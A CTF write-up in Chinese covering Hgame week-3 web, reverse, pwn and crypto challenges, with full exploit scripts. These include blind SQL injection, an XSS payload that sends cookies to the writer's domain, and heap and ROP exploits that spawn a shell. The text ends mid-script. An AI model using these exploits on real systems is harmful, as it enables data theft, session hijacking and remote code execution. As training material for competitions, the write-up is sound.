0%

Hgame-week3-writeup

week3的wp整理完毕!

Web

序列之争 - Ordinal Scale

右键查看源码,发现神奇的注释:

2

此后下载下来就是一波源码审计:

关键位置1

3

好!flag到手,快去提交!(

得到信息:只有第一才能得到flag

关键位置2

4

得到信息:看我加的注释!

呃,我还是说一下,首先第一次sprintf,把$playerName变量的内容换到了welcomeMsg里的%s,而如果$playerName的是字符串%s,那么第二次sprintf就换成了encryptKey。

关键位置3

5

得到信息:存在反序列化的代码,那么就有可能存在反序列化漏洞(具体可百度了解)

但是有验证,cookie后32个字节等于需要反序列化的数据拼接上$this->encryptKey之后的md5值(这貌似叫签名),这个$this->encryptKey是这么来的:

6

7

Monster类的encryptKey是由Game的encryptKey经过运算而来的,而后者的encryptKey我们已经通过格式化字符串的方式泄露出来了。

那么此时就要找反序列化可以利用的地方了,由于我们需要让排名为第一,根据审计发现,只要使得$_SESSION[‘rank’]的值为1就好了,利用的位置就在下面:

8

这是Rank类的析构函数,对象销毁时会自动调用,这里把rank修改了,我们只需要使得反序列化得到一个Rank对象,并且其rank属性为1即可。但是这里有个判断,$this->key === $this->serverKey,但我们不知道$_SERVER['key']到底是什么,无法给$this->key填正确的值,那么就不填了!

9

因为这个$key属性是有默认值的,如果反序列化的时候发现少了属性,就会填上这个默认值,而这个默认值就是正确的key。

那么现在要构造数据了,要使得反序列化得出想要的结果,那么就把想要的结果序列化就好了!

php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$key = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$name = '%s';

$data = [$name, $key];

$enc_key = '';

foreach($data as $key => $value){
$enc_key .= md5($enc_key . $value);
}

echo $enc_key; //Monster类的encryptKey
echo "\n";

class Rank
{
private $rank=1;
private $serverKey;
}

$a = new Rank();

//var_dump(serialize($a));

$sign = md5(serialize($a) . $enc_key);
echo base64_encode(serialize($a).$sign);
echo "\n";
?>

运行php exp.php(文件名是exp.php)

10

然后放到cookie里,发送请求,可看到flag:

根据exp,还要注意的是:post的player要对应为%s


Cosmos的二手市场

这题一开始以为是注入,发现搞了好久都不行。而且是高价买入,低价卖出(被收手续费),根本不可能赚够钱买flag。然后想到,既然是交易系统,就很可能存在多线程竞争的漏洞。

大概意思是,买入1个货物,多个线程几乎同时发送请求来出售1个货物,网站查询数据库获得货物数量为1,一个线程还没来得及把货物数量减1存入数据库,另一个线程就从数据库查到货物数量为1,导致多个线程都判断货物数量充足,这样就造成了1个货物,出售了多次,这样就可以获得多于1个货物的价钱了。同理,我们可以买入10个甚至500个(经检验一次最多出售500个),然后多个线程同时出售买入的货物数量。

下面是exp的一次运行结果:

1

可以看到,我只买入了一次,却出售了多次

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/python3

"""
记得调整买入卖出的数量,就是在你买得起的前提下,买最多货物
"""

from threading import Thread
import requests

hds = { # Cookie记得换成自己的
'Cookie': 'PHPSESSID=3gclac3safjutrm5pjfpi0n7n7'
}


def buy_job():
"""买入"""
url = 'http://121.36.88.65:9999/API/?method=buy'
data = {
'code':'800002', # 货物代号,这个货价格最高
'amount': '500' # 买入500个
}
r = requests.post(url, data=data, headers=hds)
ret = r.json()
print(ret)

def solve_job():
"""出售"""
url = 'http://121.36.88.65:9999/API/?method=solve'
data = {
'code':'800002',
'amount': '500' # 出售数量
}
r = requests.post(url, data=data, headers=hds)
ret = r.json()
print(ret)


buy_job()

num = 10 # 10个线程同时出售
jobs = []
for i in range(num):
jobs.append(Thread(target=solve_job))

for j in jobs:
j.start()

for j in jobs:
j.join()

这exp不是傻瓜式的,多运行几次赚够钱了,自己在浏览器上拿flag


Cosmos的留言板-2

sql时间盲注,注入点在删除留言的请求参数delete_id里:

1

不过好像有个奇怪的现象,必须得有1条留言以上,才可以注入,否则好像根本不会进行sql语句的执行

注入的基本payload格式为:

?method=delete&delete_id=1 or if((条件),sleep(1),0)

首先这个id为1,是一个根本不存在的留言的id,如果存在的话,or的表达式必为真,这是个短路运算,根本不会执行后面那个语句,顺带说一句为什么要用or不用and,如果用and,and后面的表达式想要执行,and前面的表达式一定要为真,也就是id必须存在,如果测试的时候and后面也为真,这条留言就被删掉了,想要再注入,又得再创建一条留言了。

下面是我的exp(记得要先添加一条留言,并且把cookie换成自己的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/bin/python3

from requests import get
from time import time

hds = {
'Cookie':'PHPSESSID=jrnn9tvdn7pmnel08b3gt1jug0'
}

def req(url):
"""返回请求的时间"""
start = time()
r = get(url, headers=hds)
end = time()
return end-start

def test(left, right, format_url):
"""二分法爆破"""
while left < right:
#print(left,right)
mid = (left + right) // 2
url = format_url.format(mid)
if req(url) < 1.8:
right = mid
else:
left = mid + 1
return left

def get_dbname_len():
"""获取数据库名长度"""
format_url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=1+or+if((length(database())>{}),sleep(2),0)'
left = 0
right = 64

return test(0, 64, format_url)

def get_dbname(dbname_len):
"""获取数据库的名字"""
format_url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=1+or+if(((ascii(substr(database(),{},1)))>{}),sleep(2),0)'
dbname = ''
for i in range(1, dbname_len+1):
url = format_url.format(i, '{}')
num = test(0, 256, url)
dbname += chr(num)
#print(dbname)
return dbname

def get_tbnames(tb_lens):
"""获取当前数据库的表的名字"""
format_url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=1+or+if(((ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+{},1),{},1)))>{}),sleep(2),0)'
tbnames = []
for i in range(len(tb_lens)):
name = ''
for pos in range(1, tb_lens[i]+1):
url = format_url.format(i, pos, '{}')
ret = test(0, 256, url)
name += chr(ret)
print(name)
tbnames.append(name)
return tbnames

def get_table_cols(tbname, col_lens):
"""获取表的列的名字"""
format_url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=1+or+if((ascii(substr(((select+column_name+from+information_schema.columns+where+table_name%3d'{}'+limit+{},1)),{},1))>{}),sleep(2),0)"
cols = []
for i in range(len(col_lens)):
col = ''
for pos in range(1, col_lens[i]+1):
url = format_url.format(tbname, i, pos, '{}')
ret = test(0, 256, url)
col += chr(ret)
print(col)
cols.append(col)
return cols




dbname_len = 7 # get_dbname_len()

print('dbname_len=%d' % dbname_len)

dbname = 'babysql' # get_dbname(dbname_len)

print('dbname=%s' % dbname)

tables_len = [8, 4] # 表名的长度
tbnames = ['message', 'user'] # get_tbnames(tables_len)

print(tbnames)

user_col_lens = [2, 4, 8] # 列的名称的长度
cols = ['id', 'name', 'password'] # get_table_cols('user', user_col_lens)

# 查询user表id为1的数据的name列
name_len = 6
url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=1+or+if((ascii(substr((select+name+from+user+where+id%3d1),{},1))>{}),sleep(2),0)'
name = ''

"""
for pos in range(1, name_len+1):
ret = test(0, 256, url.format(pos, '{}'))
name += chr(ret)
print(name)
"""
name = 'cosmos'
print('name=%s' % name)


# user表id为1的数据的password列
password_len = 28
url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=1+or+if((ascii(substr((select+password+from+user+where+id%3d1),{},1))>{}),sleep(2),0)'
password = ''
for pos in range(1, password_len+1):
ret = test(0, 256, url.format(pos, '{}'))
password += chr(ret)
print(password)
print('password=%s' % password)

exp中会发现有些函数调用被我注释掉了,那是因为我exp不是一步写成的,比如:写了get_dbname_len然后调用,运行exp后得到数据库长度后,才进行了下一步,既然已经得到长度了,那下一步运行exp的时候就没必要再跑一次get_dbname_len函数了(虽然最后发现,数据库名字并不重要)

得出用户名和密码后,登录可以看到flag(我记得是这样的)


Cosmos的聊天室2.0

和week2的那题相比多了CSP的限制,具体可看这篇文章https://blog.csdn.net/qq_37943295/article/details/79978761

1

根据题目可知道,像img、script的标签的src属性,不是这个网站的url,都不会执行。

首先要清楚的是,在这个CSP的限制下,不符合规则的,就算注入到页面了,也没有用,因为不会执行。

我们可以注入一个script标签,如<script src=xxx></script>,script的代码是通过src指定的url去获取,我们只要找到一个url,这个url是属于这个网站的,并且返回的内容是可控的,那么就可以达到效果。

巧儿,这个url刚刚好就是发送消息的请求url:

2

我们只要把js代码通过message这个参数传入就可以了。

题目还过滤了script这个单词(大小写均过滤),可以双写绕过。

那么最后payload就是:

<scriscriptpt src='/send?message=js代码'></scrscriptipt>

可以参考下我的js代码:

1
2
3
(function(){
windows.location='http://你的域名/?token='+document.cookie;
})();

记得url编码后再添加到message=后面,我的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/python3
import hashlib
import requests


def md5(s):
return hashlib.md5(s.encode()).hexdigest()

def get_code(s):
# 获取验证码前6位md5值
url = 'http://c-chat-v2.hgame.babelfish.ink/code'
r = s.get(url)

code = r.json()['code']

# 之前测试过,破解出来的都是8位数,所以这里直接从8位数开始
for i in range(10000000, 99999999):
if md5(str(i)).startswith(code):
return str(i)

def send(s):
url = 'http://c-chat-v2.hgame.babelfish.ink/send'
payload = r"?message=<sscriptcript+src%3d'send%3fmessage%3d{你的js代码两次url编码后}'</sscriptcript>"
url += payload
r = s.get(url)
return r

def submit(s, code):
url = 'http://c-chat-v2.hgame.babelfish.ink/submit'
data = {
'code':code
}
r = s.post(url, data=data)
return r


url = 'http://c-chat-v2.hgame.babelfish.ink/'


s = requests.Session()

# 访问一下url得到cookie
r = s.get(url)

# 获取验证码
code = get_code(s)
print('code='+code)

# 发送构造好的payload
r = send(s)
print(r.text)

# 提交验证码,让刚刚的payload生效
r = submit(s, code)
print(r.text)

exp中写了,js代码要经过两次url编码,这是因为注入需要发送get请求,url需要编码一次,注入到页面后,script的src属性是个url,这里也得编码一次。

其实get请求的url的参数是

?message=<scripscriptt src='our_url'></scrscriptipt>

然后,这个our_url是:

/send?message=一次url编码后的js,然后上面那个url的mesage=后面的东西得再url编码一次

所以最后就是

?message=<sscriptcript+src%3d'send%3fmessage%3d{你的js代码两次url编码后}'</sscriptcript>


Re

oooollvm

这题加了混淆,首先找到输入点:

1

根据这个str看看都在哪里有用到,发现除了strlen就这一处:

2

检验失败,程序退出的地方有多个,基本都是下面的形式:

3

将所有出口打上断点,进行调试。

经过多次调试,这个pos变量是从0一直加1来递增的,而且也发现str的长度是34。

每当result的结果为true的时候,也就是table2[pos]!=(~str[pos] & (pos + table1[pos]) | ~(pos + table1[pos]) & str[pos])的时候,都会跳到失败退出的断点处。

证明关键就是要使得result为false,也就是这个表达式为true:

table2[pos] == (~str[pos] & (pos + table1[pos]) | ~(pos + table1[pos]) & str[pos])

那好办,找到table2和table1的数据,然后根据位运算反推str即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/python3

# table2[pos] == (~str[pos] & (pos + table1[pos]) | ~(pos + table1[pos]) & str[pos])
# por in range(34)


table2 = [
0xE3, 0x12, 0xA4, 0x00, 0xCA, 0x12, 0x29, 0xAE, 0x9D, 0x1E,
0x3B, 0x6C, 0xE8, 0x4B, 0x69, 0x39, 0x34, 0x6F, 0x48, 0xC5,
0x4F, 0x39, 0xA9, 0xDC, 0x95, 0xE5, 0x8E, 0x41, 0x79, 0x59,
0x6F, 0x12, 0x8B, 0x1C
]
table1 = [
0x8B, 0x74, 0xC3, 0x6A, 0xAB, 0x64, 0x60, 0xBB, 0xC9, 0x5F,
0x4C, 0x3C, 0x75, 0x0B, 0x29, 0x4B, 0x4B, 0x11, 0x26, 0x96,
0x16, 0x4C, 0x6E, 0x87, 0xA8, 0x98, 0x89, 0x17, 0x14, 0x17,
0x01, 0x5F, 0xCE, 0x40
]

flag = ''
for pos in range(34):
mask = pos + table1[pos]
dest = table2[pos]
ch = ((~(dest & mask)) & mask) | (dest & (~mask))
flag += chr(ch)

print(flag)

Pwn

ROP_LEVEL2

这题必须详细记录下。

这里明显就有溢出的漏洞:

1

读入0x60个字节,而局部变量buf到局部变量fd之间隔了0x48个字节,fd数组占8个字节,也就是一共0x50个字节。可以溢出0x10个字节,其中一个是函数开头push的rbp,之后就是返回地址。

虽然可以溢出到返回地址,但不足以构造ROP。这时可以想办法把rsp指向我们可以控制的区域(后来发现这种技术叫做栈迁移),可以看到,一开始还有一个read(0, &::buf, 0x100uLL),这个&::buf是全局变量,在bss段:

3

而且程序并没有开PIE保护:

5

也就是说,这个bss的地址是固定的,而且内容可控,我们可以把栈迁移到这里,在这里构造ROP

那么返回地址要返回到可以修改rsp指令的地方,并且修改完后,还能再ret一次,跳到构造好的ROP里。

值得注意的是,指令leave,这个指令其实包含了一下工作:

1
2
mov rsp,rbp
pop rbp

那么问题就变成了,如何修改rbp了。这不?第二项工作就是修改rbp了。

而且main函数调用之后刚好就有两指令leaveret

2

前面说了,可溢出0x10个字节,8字节是函数开头push的rbp,这8字节会在leave指令的第二项工作pop rbp中回到rbp中,所以,首先我们要控制这8个字节成全局变量buf的地址,然后返回地址构造成0x4009d5,也就是返回到leave这条指令的位置,之后就成功迁移栈了,我们只需在全局变量buf地址处构造ROP即可。

构造ROP,跳到0x400985

3

后面就是,打开文件->读取内容->输出内容了,我们只要把在这之前先把参数设置成打开/flag文件,也就是使edi为字符串"/flag"的地址,这个字符串我们一样放到bss段里,之后就把flag给读出来了。

但要注意的是:

7

6

局部变量buf的位置是rbp-0x50,文件被读入到这里,这个地址必须可以访问,我们同样可以控制其在bss段内,放到ROP后面即可,我的ROP占用了0x40个字节(8字节对齐后),那么这个rbp就要设置成全局变量buf+0x90以上才够,否则读入flag的时候,不然就把ROP给破坏了(文件名”/flag”字符串在ROP最后面,之前就是因为把这个文件名破坏了,没getshell)

大概过程如下图:

8

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/python2
#coding=utf8

from pwn import *
#from LibcSearcher import LibcSearcher
#from time import sleep

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF('./ROP')
#io = elf.process()
io = remote('47.103.214.163', 20300)

final_addr = 0x400985 # open之后一把梭
pop_rdi_ret = 0x400a43
pop_rsi_r15_ret = 0x400a41
leave_ret = 0x4009D5
buf_addr= 0x06010A0

# ROP
payload_1 = p64(buf_addr+0x90) # rbp rbp-0x50是读入数据的地方,要留够空间
payload_1 += p64(pop_rdi_ret) + p64(buf_addr+0x38) + p64(pop_rsi_r15_ret) + p64(0) + p64(0) # 传参
payload_1 += p64(final_addr)
payload_1 += '/flag\x00' # buf_addr+0x38

io.sendlineafter('so?\n', payload_1)

# 迁移栈的payload
payload_2 = 'a' * 0x50 # padding
payload_2 += p64(buf_addr) # rbp
payload_2 += p64(leave_ret) # 使得栈迁移到buf上

io.recv()
io.send(payload_2)

print io.recv()


Annevi_Note

堆溢出,漏洞点在edit函数:

1

无论堆的大小是多少都可读入256字节。主要漏洞是可以溢出修改下一个chunk的字段。

可以利用unlink,具体可以参考文章https://www.jianshu.com/p/2776b6a79a11(这个是讲32位平台的),还有https://www.jianshu.com/p/1f4b054d6bfc(这个讲64位平台的,不过不具体)

利用unlink,把system函数的地址放到__free_hook里,然后释放一块内存即可getshell,内存中放着字符串/bin/sh

具体可以看看exp和里面的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/bin/python2
#coding=utf8

from pwn import *
from time import sleep
from LibcSearcher import LibcSearcher

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]


#io = process(['./Annevi'])#, env={'LD_PRELOAD': './libc-2.23.so'})
io = remote('47.103.214.163', 20301)
elf = ELF('./Annevi')
#io = elf.process()
#libc = ELF('./libc-2.23.so')


def add(size, content):
io.sendlineafter('\n:', '1')
io.sendlineafter('size?\n', str(size))
io.sendlineafter('content:', content)

def dele(index):
io.sendlineafter('\n:', '2')
io.sendlineafter('index?\n', str(index))

def show(index):
io.sendlineafter('\n:', '3')
io.sendlineafter('index?\n', str(index))

def edit(index, content):
io.sendlineafter('\n:', '4')
io.sendlineafter('index?\n', str(index))
io.sendlineafter('content:', content)


# list数组在bss段,且PIE没开
list_addr = 0x602040

# 分配空间要0x90及以上
add(0x90, 'aaa') # 0
add(0x90, 'aaa') # 1
add(0x90, 'aaa') # 2

# 伪造chunk
payload_1 = p64(0) # prev_size
payload_1 += p64(0x91) # size
payload_1 += p64(list_addr - 0x18) # fd 64位平台下chunk头部的几个字段都是8字节大小
payload_1 += p64(list_addr - 0x10) # bk
payload_1 += 'a' * (0x90 - 0x20) # padding
payload_1 += p64(0x90) #1的prev_size 这样free的时候寻找上一个chunk会找到我伪造的那个
payload_1 += p64(0xa0) #1的size,并把前一个chunk标记为free(size最低位置为零)
edit(0, payload_1)

dele(1) # 由于unlink,此时list[0] = list - 0x18,list[0]即#0

# leak libc
edit(0, 'a'*0x18 + p64(list_addr - 0x18) + p64(elf.got['puts'])) # 将list[1]指向got表的puts
show(1)

io.recvuntil('content:')
puts_addr = io.recv(6).ljust(8, '\x00')
puts_addr = u64(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
malloc_hook = libc_base + libc.dump('__malloc_hook')
free_hook = libc_base + libc.dump('__free_hook')


print 'libc_base='+hex(libc_base)
print 'system_addr='+hex(system_addr)
print 'malloc_hook='+hex(malloc_hook)
print 'free_hook='+hex(free_hook)

# 劫持free_hook
edit(0, 'a'*0x18 + p64(free_hook))
edit(0, p64(system_addr))

# pwn
add(0x90, '/bin/sh\x00') # 3
dele(3)

io.interactive()

E99p1ant_Note

这题其实和上一题类似,也是溢出,只不过只能溢出1个字节,称为off by one

1

其实溢出1个字节也够了,能够修改size字段就好,结合unsorted bin泄露libc基址,然后extend chunk加fastbin attack,把onegadget写入__malloc_hook区域就好

可参考文章:https://blog.csdn.net/Breeze_CAT/article/details/103788698

但是onegadget都是有条件的(题目说libc是libc-2.23,自己下一个就好)

2

第1个的条件不好控,2,3,4都是要求栈上某处为NULL,经过检验发现直接讲onegadget写入__malloc_hook,都不能满足条件(出题人说第4个可以,也许我的栈风水不好?)

那么就需要控制rsp来使得满足条件了,找了一大堆资料后,发现可以在__malloc_hook的时候,先跳到realloc函数开头某处,此函数开头好多push指令,可以修改rsp,而且realloc函数还会调用__realloc_hook区域里填的函数地址,就像malloc调用__malloc_hook里的函数地址一样。那么只要把onegadget填入__realloc_hook即可。

关于__realloc_hook的利用可以参考文章:https://www.xd10086.com/posts/8016150119358581687/

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/bin/python2
#coding=utf8

from pwn import *
from time import sleep
from LibcSearcher import LibcSearcher

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]

#io = process(['./E99'], env={'LD_PRELOAD': './libc6_2.23-0ubuntu10_amd64.so'})
io = remote('47.103.214.163', 20302)
elf = ELF('./E99')
#libc = ELF('./libc-2.23.so.release')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')


def add(size, content):
io.sendlineafter('\n:', '1')
io.sendlineafter('size?\n', str(size))
io.sendlineafter('content:', content)

def dele(index):
io.sendlineafter('\n:', '2')
io.sendlineafter('index?\n', str(index))

def show(index):
io.sendlineafter('\n:', '3')
io.sendlineafter('index?\n', str(index))

def edit(index, content, line=True):
io.sendlineafter('\n:', '4')
io.sendlineafter('index?\n', str(index))
if line:
io.sendlineafter('content:', content)
else:
io.sendafter('content:', content)


add(0x18, 'aaa') # 0
add(0x68, 'aaa') # 1
add(0x68, 'aaa') # 2
add(0x18, 'aaa') # 3


# 溢出0修改1的size字段
payload = 'a' * 0x18 + '\xe1' # 只能溢出一个字节
edit(0, payload, False)
dele(1)

# leak libc_base
add(0x68, 'aa') # 1,此时#2中存有unsorted bin的地址
show(2)
io.recvuntil('content:')
addr = io.recv(6).ljust(8, '\x00')
addr = u64(addr)
libc_base = addr - (0x7fee46df4b78 - 0x7fee46a30000) #(0x7febf7bfab78 - 0x7febf7871000)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
realloc_hook = libc_base + libc.symbols['__realloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0xf02a4 # 0x4526a #0xf1147

print 'addr='+hex(addr)
print 'libc_base='+hex(libc_base)
print 'malloc_hook='+hex(malloc_hook)
print 'free_hook='+hex(free_hook)
print 'realloc_hook='+hex(realloc_hook)
print 'realloc='+hex(realloc)
print 'one_gadget='+hex(one_gadget)

add(0x68, 'aa') # 4 (和#2是同一个)
dele(4) # 此时这块在fast bin中,可以通过#2修改这块的fd指针

edit(2, p64(malloc_hook-0x23))

#gdb.attach(io)
#raw_input()

add(0x68, 'aaa')
add(0x68, 'a'*0xb+p64(one_gadget)+p64(realloc+12)) # 分别写入realloc_hook区域和malloc_hook区域(这两个区域相邻)
#add(0x68, 'a'*0x13 + p64(one_gadget))

io.sendlineafter('\n:', '1')
io.sendlineafter('size?\n', str(0x18))

#gdb.attach(io)
#sleep(1)

io.interactive()

junior_iterator

这题,多调试下还是能发现问题的,漏洞点在overwrite的处理函数里

1

这个程序就是用一个数组保存了多个vector对象的地址,vector是类似数组的类对象,用数组的方式管理一个内存区域。连续创建vector对象(通过c++ new操作),他们的内存区域相邻。

上面在通过迭代器(就类似指针吧,在汇编也确实间接使用了指针),把一个vector对象的管理的数组逐个赋值,但是却没有检查越界,可以覆盖下一给vector对象的数据。

通过调试,发现vector对象开头有两个重要的指针,分别指向了他所管理的内存区域的开头和末尾,暂且称为头指针,尾指针。可以通过溢出修改下一个vector对象的这两个指针,使其指向got表的atoi项,然后通过edit操作,修改atoi项为system函数地址,使得调用atoi("/bin/sh")就成功getshell了,为什么要劫持atoi呢?因为程序中调用最多的,而且最符合system(arg)这样形式的函数就是这个了(除此之外还有atol):

2

3

要注意的是:获取数组长度的方式是通过两个指针的值相减除以8(这里一个元素占用8个字节),edit有检查越界的,所以要注意修改两个指针的时候要使得长度合适

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/bin/python2
#coding=utf-8

from pwn import *
from time import sleep
from LibcSearcher import LibcSearcher

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]

#io = process(['./main'], env={'LD_PRELOAD': './libc-2.23.so'})
io = remote('47.103.214.163', 20303)
elf = ELF('./main')
#libc = ELF('./libc-2.23.so')


def new_list(size):
io.sendlineafter('> ', '1')
io.sendlineafter('List count: ', str(size))

def edit(lid, index, num):
io.sendlineafter('> ', '3')
io.sendlineafter('List id: ', str(lid))
io.sendlineafter('Item id: ', str(index))
io.sendlineafter('New number: ', str(num))

def show(lid, index):
io.sendlineafter('> ', '2')
io.sendlineafter('List id: ', str(lid))
io.sendlineafter('Item id: ', str(index))

def overwrite(lid, start, end, num):
io.sendlineafter('> ', '4')
io.sendlineafter('List id: ', str(lid))
io.sendlineafter('Star id: ', str(start))
io.sendlineafter('End id: ', str(end))
io.sendlineafter('New number: ', str(num))


# vector<int> arr[10]
# 先创建两个vector对象,大小为1个单位
new_list(1) #0
new_list(1) #1

print "got['atoi']="+hex(elf.got['atoi'])

# 调试填充4个8字节为单位的区域后才是下一个vector对象的数据
overwrite(0, 0, 4, elf.got['atoi']) # 覆盖了#1 vector对象存的的头指针
overwrite(0, 5, 6, elf.got['atoi']+8) # 尾指针
show(1, 0)

atoi_addr = io.recvline().replace('Number: ', '').replace('\n', '')
atoi_addr = int(atoi_addr)
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')

print 'atoi_addr='+hex(atoi_addr)
print 'libc_base='+hex(libc_base)
print 'system_addr='+hex(system_addr)

edit(1, 0, system_addr)

io.sendlineafter('> ', '/bin/sh\x00') # atoi("/bin/sh"),因为atoi已经被劫持成system了

io.interactive()

Crypto

ToyCipher_XorShift

最关键的是这个函数:

1

只要能写出这个函数的逆过程就相当于完成一大半了,其实就是位运算,数学上有个东西叫做错位相减,这个东西其实差不多,错位(右移,左移)然后异或。假设参数a为1,shr为True,且假设MASK掩码使得x为1个字节也就是8位的数(源码中x = x&MASK的作用就是保证x为64位整数),那么进行的运算如下图:

2

其中框框里的数字就是个代号,代表哪一个bit(位),由于右移一位后,高位的补的0和任何数异或都得原来的数,所以运算后最高处的那个bit是没有改变的,可以根据这一位和下一位异或,得到原来的下一位,有点绕。

看下面:

1
2
3
4
raw_bit0 = bit0
bit1 = raw_bit0 xor raw_bit1 ==> raw_bit1 = bit1 xor raw_bit0
bit2 = raw_bit1 xor raw_bit2 ==> raw_bit2 = bit2 xor raw_bit1
....

其中raw_bitxxx代表错位异或前的第xxx位,bitxxx表示异或后的第xxx位,可以根据上面这样一步一步还原原来的每一位。

如果a为2,那么最高2位就是已知的,为3,那么最高3位已知,以此类推

如果shr=False,也就是左移而不是右移呢?道理一样,偷个懒,不想分别写两个情况的代码,直接写右移的处理,任何左移就把高低位反过来当作右移来解,再反回来。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/python3
import sys

enc_data = bytes.fromhex('15eb80358fe6f89b1802a5f3eb5a6ec6c33dc4f35822fb6e97e0b22be860a28602b35e2930a93ac5')
IV = b'c8C~M0d3'


BLOCKSIZE = 8
BITSLENGTH = 8*BLOCKSIZE
MASK = (1 << BITSLENGTH) - 1
BLOCKS = lambda data: [ bytes(data[i*BLOCKSIZE:(i+1)*BLOCKSIZE]) for i in range(len(data)//BLOCKSIZE) ]
XOR = lambda s1, s2: bytes([x^y for x,y in zip(s1, s2)])

def bin_at(num, i):
return int(num[i])

def shr_f(lst, a):
"""错位异或,还原每一bit"""
x = lst
i = 0
j = a
while j < BITSLENGTH:
at_j = bin_at(x, i) ^ bin_at(x, j) # 第j位(从高位开始算0)原来的样子
x[j] = str(at_j)
i += 1
j += 1
return x

def dec_f(x, a, shr=True):
# 一开始错用strip('0b')导致各种奇奇怪怪问题
x = bin(x).replace('0b', '').rjust(BITSLENGTH, '0') # 高位补零
x = list(x)
if shr:
x = shr_f(x, a)
else:
# 左移相当于,先反转后的右移错位异或再反转回来
x = x[::-1]
x = shr_f(x, a)
x = x[::-1]
x = ''.join(x)
x = int(x, 2)
return x


def dec(block):
block = int.from_bytes(block, byteorder='big')
block = dec_f(block, 17, shr=False)
block = dec_f(block, 7, shr=True)
block = dec_f(block, 13, shr=False)
return block.to_bytes(BLOCKSIZE, byteorder='big')

def decrypt(msg, iv):
mid = iv
ret = b''
for block in BLOCKS(msg):
m = XOR(dec(block), mid)
mid = block
ret += m
return ret

print(decrypt(enc_data, IV))

Exchange

参考百度百科Diffie-Hellman密钥交换算法

大概就是A与B之间进行一个密钥交换,自己充当C,在A与B交换公钥的时候,修改成自己的公钥,那么A与B通信时,经过C,C将A发来的数据,用自己的私钥解密后,再用B的公钥加密,发给B,B发数据时同理。那么A与B之间可以正常通信,并且没发现C的存在。那么C就可以窥探AB之间的通信内容

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/bin/python2
#coding=utf8

from pwn import *
import string
from Crypto.Util import number
from hashlib import sha256
from random import randint
import gmpy2

charset = string.ascii_letters+string.digits

def generateXXXX():
for a1 in charset:
for a2 in charset:
for a3 in charset:
for a4 in charset:
yield (a1+a2+a3+a4)


io = remote('47.98.192.231', 25258)
tail = io.recvuntil(') ==').replace('sha256(XXXX+', '').replace(') ==', '')
_hexdigest = io.recvline().strip()

